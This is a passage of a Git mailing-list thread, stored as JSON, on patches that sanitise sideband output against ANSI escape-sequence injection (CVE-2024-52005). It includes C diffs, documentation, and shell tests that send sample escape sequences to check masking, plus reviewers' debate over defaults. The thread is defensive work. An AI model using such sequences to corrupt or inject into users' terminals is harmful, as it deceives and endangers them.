&&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded\n+'\n+\n test_done\ndiff --git a/transport.c b/transport.c\nindex c7f06a7382..1602065953 100644\n--- a/transport.c\n+++ b/transport.c\n@@ -29,6 +29,7 @@\n #include \"object-name.h\"\n #include \"color.h\"\n #include \"bundle-uri.h\"\n+#include \"sideband.h\"\n \n static enum git_colorbool transport_use_color = GIT_COLOR_UNKNOWN;\n static char transport_colors[][COLOR_MAXLEN] = {\n@@ -1245,6 +1246,8 @@ struct transport *transport_get(struct remote *remote, const char *url)\n \n \tret->hash_algo = &hash_algos[GIT_HASH_SHA1_LEGACY];\n \n+\tsideband_apply_url_config(ret->url);\n+\n \treturn ret;\n }\n \n-- \ngitgitgadget\n\n"},{"id":"535053","messageId":"8b8244eca96762aa1eba463506a564dba9916cee.1770113882.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","subject":"[PATCH v4 6/6] sideband: delay sanitizing by default to Git v3.0","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2026-02-03T10:18:02Z","receivedAt":"2026-02-03T10:18:17Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe sideband sanitization patches allow ANSI color sequences through\nby default, preserving compatibility with pre-receive hooks that\nprovide colored output during `git push`.\n\nEven so, there is concern that changing any default behavior in a\nminor release may have unforeseen consequences. To accommodate this,\ndefer the secure-by-default behavior to Git v3.0, where breaking\nchanges are expected.\n\nThis gives users and tooling time to prepare, while committing to\naddress CVE-2024-52005 in Git v3.0.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.adoc  | 11 +++++++++++\n sideband.c                          |  6 +++++-\n t/t5409-colorize-remote-messages.sh | 18 +++++++++++++-----\n 3 files changed, 29 insertions(+), 6 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 32088bbf2f..800a10a1ef 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -1,12 +1,23 @@\n sideband.allowControlCharacters::\n+ifdef::with-breaking-changes[]\n \tBy default, control characters that are delivered via the sideband\n \tare masked, except ANSI color sequences. This prevents potentially\n+endif::with-breaking-changes[]\n+ifndef::with-breaking-changes[]\n+\tBy default, no control characters delivered via the sideband\n+\tare masked. This is unsafe and will change in Git v3.* to only\n+\tallow ANSI color sequences by default, preventing potentially\n+endif::with-breaking-changes[]\n \tunwanted ANSI escape sequences from being sent to the terminal. Use\n \tthis config setting to override this behavior (the value can be\n \ta comma-separated list of the following keywords):\n +\n --\n \t`default`::\n+ifndef::with-breaking-changes[]\n+\t\tAllow any control sequence. This default is unsafe and will\n+\t\tchange to `color` in Git v3.*.\n+endif::with-breaking-changes[]\n \t`color`::\n \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n \t\tbut mask all other control characters. This is the default.\ndiff --git a/sideband.c b/sideband.c\nindex a90db9e288..650d00b36e 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -33,8 +33,12 @@ static enum {\n \tALLOW_ANSI_COLOR_SEQUENCES    = 1<<0,\n \tALLOW_ANSI_CURSOR_MOVEMENTS   = 1<<1,\n \tALLOW_ANSI_ERASE              = 1<<2,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n \tALLOW_ALL_CONTROL_CHARACTERS  = 1<<3,\n+#ifdef WITH_BREAKING_CHANGES\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n+#else\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ALL_CONTROL_CHARACTERS,\n+#endif\n } allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 3010913bb1..07cbc62736 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -98,6 +98,13 @@ test_expect_success 'fallback to color.ui' '\n \tgrep \"<BOLD;RED>error<RESET>: error\" decoded\n '\n \n+if test_have_prereq WITH_BREAKING_CHANGES\n+then\n+\tTURN_ON_SANITIZING=already.turned=on\n+else\n+\tTURN_ON_SANITIZING=sideband.allowControlCharacters=color\n+fi\n+\n test_expect_success 'disallow (color) control sequences in sideband' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n \tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n@@ -106,7 +113,7 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n \n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n \ttest_grep RED decoded &&\n \ttest_grep \"\\\\^G\" stderr &&\n@@ -138,7 +145,7 @@ test_decode_csi() {\n \t}'\n }\n \n-test_expect_success 'control sequences in sideband allowed by default' '\n+test_expect_success 'control sequences in sideband allowed by default (in Git v3.8)' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n \tprintf \"error: \\\\033[31mcolor\\\\033[m\\\\033[Goverwrite\\\\033[Gerase\\\\033[K\\\\033?25l\\\\n\" >&2\n \texec \"$@\"\n@@ -147,7 +154,7 @@ test_expect_success 'control sequences in sideband allowed by default' '\n \ttest_commit need-at-least-one-commit-at-least &&\n \n \trm -rf throw-away &&\n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n \ttest_grep ! \"CSI \\\\[K\" decoded &&\n@@ -175,14 +182,15 @@ test_expect_success 'allow all control sequences for a specific URL' '\n \ttest_commit one-more-please &&\n \n \trm -rf throw-away &&\n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n \ttest_grep ! \"CSI \\\\[K\" decoded &&\n \ttest_grep \"\\\\^\\\\[\\\\[K\" decoded &&\n \n \trm -rf throw-away &&\n-\tgit -c \"sideband.file://.allowControlCharacters=true\" \\\n+\tgit -c sideband.allowControlCharacters=false \\\n+\t\t-c \"sideband.file://.allowControlCharacters=true\" \\\n \t\tclone --no-local \"file://$PWD\" throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n-- \ngitgitgadget\n"},{"id":"535084","messageId":"xmqqo6m5sldj.fsf@gitster.g","threadId":"62809","inReplyTo":"22d81c06-6ef8-dadb-5f1c-cd9461bb290d@gmx.de","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-02-03T19:00:24Z","receivedAt":"2026-02-03T19:00:28Z","isPatch":true,"body":"Johannes Schindelin <Johannes.Schindelin@gmx.de> writes:\n\nJust this point, as I do not have time to deal with this topic right\nnow.\n\n> The concern about Japanese ISO encodings colliding with control bytes is\n> theoretical at best: sideband messages are prefixed with the ASCII string\n> \"remote: \", so any such encoding would already be broken today.\n\nThis is false.  \n\nISO/IEC 2022 is designed to allow mixing different encodings\n(including ASCII), and it is a common practice to mix in a Japanese\nstring (or any of your choice) enclosed in a pair of \"ESC $ B\"\n(note: 'B' is for Japanese, but other character encoding can be\nspecified in the same string by using a different letter here) and\n\"ESC ( B\" to go back to ASCII.  So if you throw \"remote: \" at the\nbeginning, that comes out in ASCII.  The payload may have ISO/IEC\n2022 encoded \"foreign\" letters, but again, they are closed with \"ESC\n( B\" to switch back to ASCII, if you add random junk (like \"...\"\nperhaps) after them in ASCII, your random junk will come out in\nASCII just fine.\n"},{"id":"535187","messageId":"xmqqv7gcnwd4.fsf@gitster.g","threadId":"62809","inReplyTo":"pull.1853.v4.git.1770113882.gitgitgadget@gmail.com","subject":"Re: [PATCH v4 0/6] Sanitize sideband channel messages","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-02-04T19:26:31Z","receivedAt":"2026-02-04T19:26:34Z","isPatch":true,"body":"\"Johannes Schindelin via GitGitGadget\" <gitgitgadget@gmail.com>\nwrites:\n\n> Git's sideband channel passes server output directly to the client terminal\n> without sanitizing it, creating an ANSI escape sequence injection\n> vulnerability (CWE-150 [https://cwe.mitre.org/data/definitions/150.html]). A\n> malicious or compromised server can corrupt terminal state, obscure\n> information, or inject characters into the terminal's input buffer (which\n> the terminal will interpret as if the user had typed them).\n>\n> Git users have no mechanism to distinguish between Git's legitimate output\n> and content displayed (or hidden) via attack sequences.\n>\n> This series aims to fix the vulnerability by sanitizing control characters\n> in the sideband output. To address concerns about existing hacks that\n> exploit Git's lack of sanitizing, this security fix will only kick in with\n> Git v3.0, where the default will change to pass ANSI color sequences (SGR\n> codes) through by default, since server-side hooks exist that use these for\n> visibility (e.g. https://github.com/kikeonline/githook-explode). By default,\n> all other control characters will be rendered in caret notation (e.g., ESC\n> becomes ^[).\n>\n> Users who need different behavior get configuration options:\n> sideband.allowControlCharacters provides an escape hatch for environments\n> that require raw passthrough. The defaults in Git v3.0 will be secure.\n>\n> This series applies cleanly on v2.53.0.\n\nThanks for an updated series.  They applied cleanly and merged\ncleanly to 'seen'.\n\nI have three problems with this round, some minor, some fundamental.\n\n * There is a value \"default\" that the user can use to configure it,\n   which changes its behaviour across Git 3.0 version boundary.  I\n   think this is a horrible design.  Those who do not configure may\n   be showing their acceptance \"I can go with whatever the tool's\n   designers choose with the option, and if that changes in the\n   middle, I can adapt\", but for those who do, the configuration is\n   a mechanism, an escape hatch, to express their preference and\n   avoid getting disrupted by future change of behaviour.\n\n   Fixing it is easy here; just remove \"default\".  Those who want to\n   live in the fiture earlycan set it to \"color\" and it will stay\n   valid across Git 3.0 version boundary.  Those who want to make\n   sure their control sequences won't be broken can set it to \"pass\n   everything\" and it will stay valid across Git 3.0 version\n   boundary.\n\n * I would have preferred to see the early parts of the series all\n   being opt-in, and that subset of the series be able to graduate\n   earlier.  Way earlier than the default flip to prove that they do\n   not hurt when unconfigured (they are theoretically no-op while\n   being opt-in, but we want to make sure), and that they do help\n   when configured.  And then once we are satisfied, the default\n   flip can be discussed and applied.\n\n * The overall approach is \"we know better than our users what\n   control sequences we want to pass, so we will write code to\n   recognize these small number of control sequences and allow\n   them\", which I am worried that would put more users at risk.\n\n   But the thing is that our code may not know better than the users\n   what control sequences, which have little security implications,\n   users want to use in the payload between their servers and their\n   desktop clients.  What happens to these users who use the control\n   sequences that the code does not recognize and still want to keep\n   using them?  They have to either\n\n     (1) write code to teach git to recognize their control\n         sequences (perhaps they do want ISO/IEC 2022 passed) and\n         tweak the allowlist mechanism to support it, or\n\n     (2) use the allowlist mechanism to pass everything, even the\n         sequences they are not interested in passing that have\n         security implications.\n\n   Most of them I suspect will do the latter, which is not what we\n   want to see.\n\n   Can't we do this the other way around?  The code may not be able\n   to know what control sequences the users may want to use better\n   than the users, but the code (and the author of the code) should\n   know what control sequences have negative security implications\n   much better than the users.  Instead of teaching the code to\n   recognize control sequences to color strings [*} that have little\n   security implications, can we teach the code to recognise control\n   sequences that we do *not* want to pass and neuter them, without\n   molesting control sequences with little security implications\n   that users may want to use?\n\nThanks.\n\n\n[Footnote]\n\n * or sequences to go multi-lingual over 7-bit by using ISO/IEC\n   2022 ;-)\n"},{"id":"535188","messageId":"xmqqqzr0nvyj.fsf@gitster.g","threadId":"62809","inReplyTo":"xmqqo6m6vdf8.fsf@gitster.g","subject":"Re: [PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-02-04T19:35:16Z","receivedAt":"2026-02-04T19:35:19Z","isPatch":true,"body":"Junio C Hamano <gitster@pobox.com> writes:\n\n> diff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\n> index 1d039cbdaf..47bc8bbef2 100755\n> --- a/t/t5409-colorize-remote-messages.sh\n> +++ b/t/t5409-colorize-remote-messages.sh\n> @@ -107,7 +107,8 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n>  \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n>  \ttest_commit need-at-least-one-commit &&\n>  \n> -\tgit clone --no-local . throw-away 2>stderr &&\n> +\tgit -c sideband.allowControlCharacters=color \\\n> +\t\tclone --no-local . throw-away 2>stderr &&\n>  \ttest_decode_color <stderr >decoded &&\n>  \ttest_grep RED decoded &&\n>  \ttest_grep \"\\\\^G\" stderr &&\n\nWhile I was mucking with this part of the test, this test piece\nreminded me that I myself often use a control sequence\n\n    ESC ] 0; <my string> BEL\n\nin a time-consuming program to say which step of the whole thing it\nis currently running.\n\nThis sequence updates the terminal's title, so in one of my terminal\ntab, I start such a time-consuming program, switch to another tab\nthat is showing another terminal, and let it run.  It will report me\nits progress by changing the terminal's title every once in a while.\n\nI would not frown at people who want to do the same over the network\nbetween the servers they control and their desktop client.  Even\nthough the server is not friendly to those who do not run terminal\nthat support such a control sequence, that is strictly between the\nserver and the end-user who talks with the server.\n\nAnd neutering BEL of course will break such a user, unless the user\nsays \"ok, if I need to pass everything in order to pass BEL, then so\nbe it\".  That is a bit sad.\n\n"},{"id":"535245","messageId":"xmqqqzqzmeks.fsf@gitster.g","threadId":"62809","inReplyTo":"xmqqv7gcnwd4.fsf@gitster.g","subject":"Re: [PATCH v4 0/6] Sanitize sideband channel messages","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-02-05T14:48:19Z","receivedAt":"2026-02-05T14:48:23Z","isPatch":true,"body":"Junio C Hamano <gitster@pobox.com> writes:\n\n>  * I would have preferred to see the early parts of the series all\n>    being opt-in, and that subset of the series be able to graduate\n>    earlier.  Way earlier than the default flip to prove that they do\n>    not hurt when unconfigured (they are theoretically no-op while\n>    being opt-in, but we want to make sure), and that they do help\n>    when configured.  And then once we are satisfied, the default\n>    flip can be discussed and applied.\n\nThinking about this a bit more, I see a strong reason to prefer the\nway the series in this iteration is constructed.  We could merge the\nearly parts down to 'next' well before the last piece, and hopefully\nwe will know how much what they are already using breaks (and we\nknow colors are use in the field, and we know by default we pass\ncolors, so this is to catch other uses of control sequences) by\nfiltering among those who are running 'next' for their every-day\nwork, before the main part of the series leaves 'master'.\n\nIf we did it the other way around, even if we mergee everything to\n'next', the guinea-pig population will be limited to those who build\n'next' with WITH_BREAKING_CHANGES, which would be a lot smaller\nminority (I suspect that nobody uses a build with\nWITH_BREAKING_CHANGES for their every-day work, actually).\n\nSo I no longer think the \"no-op by default first and then tighten at\nthe end with WITH_BREAKING_CHANGES\" is my preference.\n\nThanks.\n"},{"id":"535976","messageId":"xmqqikc0i4o5.fsf@gitster.g","threadId":"62809","inReplyTo":"xmqqqzqzmeks.fsf@gitster.g","subject":"Re: [PATCH v4 0/6] Sanitize sideband channel messages","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-02-13T23:50:50Z","receivedAt":"2026-02-13T23:50:54Z","isPatch":true,"body":"Junio C Hamano <gitster@pobox.com> writes:\n\n> Junio C Hamano <gitster@pobox.com> writes:\n>\n>>  * I would have preferred to see the early parts of the series all\n>>    being opt-in, and that subset of the series be able to graduate\n>>    earlier.  Way earlier than the default flip to prove that they do\n>>    not hurt when unconfigured (they are theoretically no-op while\n>>    being opt-in, but we want to make sure), and that they do help\n>>    when configured.  And then once we are satisfied, the default\n>>    flip can be discussed and applied.\n>\n> Thinking about this a bit more, I see a strong reason to prefer the\n> way the series in this iteration is constructed.  We could merge the\n> early parts down to 'next' well before the last piece, and hopefully\n> we will know how much what they are already using breaks (and we\n> know colors are use in the field, and we know by default we pass\n> colors, so this is to catch other uses of control sequences) by\n> filtering among those who are running 'next' for their every-day\n> work, before the main part of the series leaves 'master'.\n>\n> If we did it the other way around, even if we mergee everything to\n> 'next', the guinea-pig population will be limited to those who build\n> 'next' with WITH_BREAKING_CHANGES, which would be a lot smaller\n> minority (I suspect that nobody uses a build with\n> WITH_BREAKING_CHANGES for their every-day work, actually).\n>\n> So I no longer think the \"no-op by default first and then tighten at\n> the end with WITH_BREAKING_CHANGES\" is my preference.\n\nThe other two points I still care about.\n\nOthers have any opinion on the topic?\n"},{"id":"537570","messageId":"20260302181149.3502811-1-gitster@pobox.com","threadId":"62809","inReplyTo":"xmqqv7gcnwd4.fsf@gitster.g","subject":"[PATCH 0/3] Sanitizing sideband output","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-02T18:11:46Z","receivedAt":"2026-03-02T18:11:51Z","isPatch":true,"body":"The topic has been waiting for an action but haven't seen any.  Here\nis a follow-up message in an attempt to unblock.\n\n>> Users who need different behavior get configuration options:\n>> sideband.allowControlCharacters provides an escape hatch for environments\n>> that require raw passthrough. The defaults in Git v3.0 will be secure.\n>>\n>> This series applies cleanly on v2.53.0.\n>\n> Thanks for an updated series.  They applied cleanly and merged\n> cleanly to 'seen'.\n\n> I have three problems with this round, some minor, some fundamental.\n\n... among which I already retracted one.\n\n>  * There is a value \"default\" that the user can use to configure it,\n>    which changes its behaviour across Git 3.0 version boundary.  I\n>    think this is a horrible design.  Those who do not configure may\n>    be showing their acceptance \"I can go with whatever the tool's\n>    designers choose with the option, and if that changes in the\n>    middle, I can adapt\", but for those who do, the configuration is\n>    a mechanism, an escape hatch, to express their preference and\n>    avoid getting disrupted by future change of behaviour.\n>\n>    Fixing it is easy here; just remove \"default\".  Those who want to\n>    live in the fiture earlycan set it to \"color\" and it will stay\n>    valid across Git 3.0 version boundary.  Those who want to make\n>    sure their control sequences won't be broken can set it to \"pass\n>    everything\" and it will stay valid across Git 3.0 version\n>    boundary.\n\nThe patch [1/3] in this series addresses this issue.  This is to be\napplied on top of Dscho's [5/6].\n\n>  * I would have preferred to see the early parts of the series all\n>    being opt-in, and that subset of the series be able to graduate\n>    earlier.  Way earlier than the default flip to prove that they do\n>    not hurt when unconfigured (they are theoretically no-op while\n>    being opt-in, but we want to make sure), and that they do help\n>    when configured.  And then once we are satisfied, the default\n>    flip can be discussed and applied.\n\nThis is what I already retracted.  The structure of the posted\nseries to start extra tight and then tighten the default with the\nlast patch is actually good for experiment.  We can merge all the\nsteps without the \"Loosen until Git 3.0 and then tighten Git 3.0\nwith WITH_BREAKING_CHANGES option\" patch to 'next' and see who\nscreams.  Once it proves to be not too bad, we can then merge that\nlast step also to 'next' and make sure the loosened state still\nworks as expected.\n\nSo, the plan is to merge the early part of the series, INCLUDING the\n\"do not introduce the value 'default' that will change its meaning\nin the configuration file\" step, to 'next', while holding the last\n\"Loosen until Git 3.0\" step back.  The last step in Dscho's series\n[6/6] has to be adjusted because of minor textual conflicts with the\n\"do not introduce the value 'default'\" step, so a rebased version of\nit appears as [2/3] in this series.\n\n>  * The overall approach is \"we know better than our users what\n>    control sequences we want to pass, so we will write code to\n>    recognize these small number of control sequences and allow\n>    them\", which I am worried that would put more users at risk.\n>\n>    But the thing is that our code may not know better than the users\n>    what control sequences, which have little security implications,\n>    users want to use in the payload between their servers and their\n>    desktop clients.  What happens to these users who use the control\n>    sequences that the code does not recognize and still want to keep\n>    using them?  They have to either\n>\n>      (1) write code to teach git to recognize their control\n>          sequences (perhaps they do want ISO/IEC 2022 passed) and\n>          tweak the allowlist mechanism to support it, or\n>\n>      (2) use the allowlist mechanism to pass everything, even the\n>          sequences they are not interested in passing that have\n>          security implications.\n>\n>    Most of them I suspect will do the latter, which is not what we\n>    want to see.\n>\n>    Can't we do this the other way around?  The code may not be able\n>    to know what control sequences the users may want to use better\n>    than the users, but the code (and the author of the code) should\n>    know what control sequences have negative security implications\n>    much better than the users.  Instead of teaching the code to\n>    recognize control sequences to color strings [*} that have little\n>    security implications, can we teach the code to recognise control\n>    sequences that we do *not* want to pass and neuter them, without\n>    molesting control sequences with little security implications\n>    that users may want to use?\n\nAnd I cannot do this part myself, as the posted series does not shed\nany light what uncertainty we fear in the bytestream coming from the\nother side.  If we know what malicious data we want to protect\nagainst, we can surgically and specifically protect against them,\nbut there is no hint in the posted series X-<.\n\n\nSummary of patches in this series:\n\n * [1/3] sideband: drop 'default' configuration\n\n   Remove the value 'default' from the allowed values for the\n   sideband.allowControlCharacters configuration variable.  Applies\n   on top of Dscho's [5/6].\n\n * [2/3] sideband: delay sanitizing by default to Git v3.0\n\n   Dscho's [6/6] rebased on top of [1/3] of this series.\n\n * [3/3] sideband: conditional documentation fix\n\n   Documentation mark-up update to help translators with the\n   conditional documentation added in [2/3].\n\n\n Documentation/config/sideband.adoc  | 13 ++++++++++---\n sideband.c                          | 10 ++++++----\n t/t5409-colorize-remote-messages.sh | 18 +++++++++++++-----\n 3 files changed, 29 insertions(+), 12 deletions(-)\n\n-- \n2.53.0-549-g863838a955\n\n"},{"id":"537571","messageId":"20260302181149.3502811-2-gitster@pobox.com","threadId":"62809","inReplyTo":"20260302181149.3502811-1-gitster@pobox.com","subject":"[PATCH 1/3] sideband: drop 'default' configuration","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-02T18:11:47Z","receivedAt":"2026-03-02T18:11:53Z","isPatch":true,"body":"The topic so far allows users to tweak the configuration variable\nsideband.allowControlCharacters to override the hardcoded default,\nbut among which there is the value called 'default'.  The plan [*]\nof the series is to loosen the setting by a later commit in the\nseries and schedule it to tighten at the Git 3.0 boundary for end\nusers, and the meaning of this 'default' value will change.\n\nWhich has to be called a horrible design.  A user expresses their\npreference by setting configuration variable in order to guard\nagainst sudden change brought in by changes to the hardcoded default\nbehaviour, and letting them set it to 'default' that will change at\nthe Git 3.0 boundary completely defeats its purpose.  If a user\nwants to say \"I am easy and can go with whatever hardcoded default\nGit implementors choose for me\", they simply leave the configuration\nvariable unspecified.\n\nLet's remove it from the state before Git 3.0 so that those users\nwho set it to 'default' will not see the behaviour changed under\ntheir feet all of a sudden.\n\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.adoc | 1 -\n sideband.c                         | 6 ++----\n 2 files changed, 2 insertions(+), 5 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 32088bbf2f..96fade7f5f 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -6,7 +6,6 @@ sideband.allowControlCharacters::\n \ta comma-separated list of the following keywords):\n +\n --\n-\t`default`::\n \t`color`::\n \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n \t\tbut mask all other control characters. This is the default.\ndiff --git a/sideband.c b/sideband.c\nindex a90db9e288..04282a568e 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -33,8 +33,8 @@ static enum {\n \tALLOW_ANSI_COLOR_SEQUENCES    = 1<<0,\n \tALLOW_ANSI_CURSOR_MOVEMENTS   = 1<<1,\n \tALLOW_ANSI_ERASE              = 1<<2,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n \tALLOW_ALL_CONTROL_CHARACTERS  = 1<<3,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES\n } allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n@@ -62,9 +62,7 @@ int sideband_allow_control_characters_config(const char *var, const char *value)\n \n \tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n \twhile (*value) {\n-\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n-\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n-\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n+\t\tif (skip_prefix_in_csv(value, \"color\", &value))\n \t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n \t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n \t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n-- \n2.53.0-549-g863838a955\n\n"},{"id":"537572","messageId":"20260302181149.3502811-3-gitster@pobox.com","threadId":"62809","inReplyTo":"20260302181149.3502811-1-gitster@pobox.com","subject":"[PATCH 2/3] sideband: delay sanitizing by default to Git v3.0","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2026-03-02T18:11:48Z","receivedAt":"2026-03-02T18:11:55Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe sideband sanitization patches allow ANSI color sequences through\nby default, preserving compatibility with pre-receive hooks that\nprovide colored output during `git push`.\n\nEven so, there is concern that changing any default behavior in a\nminor release may have unforeseen consequences. To accommodate this,\ndefer the secure-by-default behavior to Git v3.0, where breaking\nchanges are expected.\n\nThis gives users and tooling time to prepare, while committing to\naddress CVE-2024-52005 in Git v3.0.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n[jc: adjusted for the removal of 'default' value]\nSigned-off-by: Junio C Hamano <gitster@pobox.com>\n---\n Documentation/config/sideband.adoc  |  7 +++++++\n sideband.c                          |  6 +++++-\n t/t5409-colorize-remote-messages.sh | 18 +++++++++++++-----\n 3 files changed, 25 insertions(+), 6 deletions(-)\n\ndiff --git a/Documentation/config/sideband.adoc b/Documentation/config/sideband.adoc\nindex 96fade7f5f..85205477b7 100644\n--- a/Documentation/config/sideband.adoc\n+++ b/Documentation/config/sideband.adoc\n@@ -1,6 +1,13 @@\n sideband.allowControlCharacters::\n+ifdef::with-breaking-changes[]\n \tBy default, control characters that are delivered via the sideband\n \tare masked, except ANSI color sequences. This prevents potentially\n+endif::with-breaking-changes[]\n+ifndef::with-breaking-changes[]\n+\tBy default, no control characters delivered via the sideband\n+\tare masked. This is unsafe and will change in Git v3.* to only\n+\tallow ANSI color sequences by default, preventing potentially\n+endif::with-breaking-changes[]\n \tunwanted ANSI escape sequences from being sent to the terminal. Use\n \tthis config setting to override this behavior (the value can be\n \ta comma-separated list of the following keywords):\ndiff --git a/sideband.c b/sideband.c\nindex 04282a568e..5fb60e52bf 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -34,7 +34,11 @@ static enum {\n \tALLOW_ANSI_CURSOR_MOVEMENTS   = 1<<1,\n \tALLOW_ANSI_ERASE              = 1<<2,\n \tALLOW_ALL_CONTROL_CHARACTERS  = 1<<3,\n-\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES\n+#ifdef WITH_BREAKING_CHANGES\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ANSI_COLOR_SEQUENCES,\n+#else\n+\tALLOW_DEFAULT_ANSI_SEQUENCES  = ALLOW_ALL_CONTROL_CHARACTERS,\n+#endif\n } allow_control_characters = ALLOW_CONTROL_SEQUENCES_UNSET;\n \n static inline int skip_prefix_in_csv(const char *value, const char *prefix,\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 3010913bb1..07cbc62736 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -98,6 +98,13 @@ test_expect_success 'fallback to color.ui' '\n \tgrep \"<BOLD;RED>error<RESET>: error\" decoded\n '\n \n+if test_have_prereq WITH_BREAKING_CHANGES\n+then\n+\tTURN_ON_SANITIZING=already.turned=on\n+else\n+\tTURN_ON_SANITIZING=sideband.allowControlCharacters=color\n+fi\n+\n test_expect_success 'disallow (color) control sequences in sideband' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n \tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n@@ -106,7 +113,7 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n \n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n \ttest_grep RED decoded &&\n \ttest_grep \"\\\\^G\" stderr &&\n@@ -138,7 +145,7 @@ test_decode_csi() {\n \t}'\n }\n \n-test_expect_success 'control sequences in sideband allowed by default' '\n+test_expect_success 'control sequences in sideband allowed by default (in Git v3.8)' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n \tprintf \"error: \\\\033[31mcolor\\\\033[m\\\\033[Goverwrite\\\\033[Gerase\\\\033[K\\\\033?25l\\\\n\" >&2\n \texec \"$@\"\n@@ -147,7 +154,7 @@ test_expect_success 'control sequences in sideband allowed by default' '\n \ttest_commit need-at-least-one-commit-at-least &&\n \n \trm -rf throw-away &&\n-\tgit clone --no-local . throw-away 2>stderr &&\n+\tgit -c $TURN_ON_SANITIZING clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >color-decoded &&\n \ttest_decode_csi <color-decoded >decoded &&\n \ttest_grep ! \"CSI \\\\[K\" decoded &&\n@@ -175,14 +182,15 @@ test_expect_success 'allow all control sequences for a specific URL' '\n 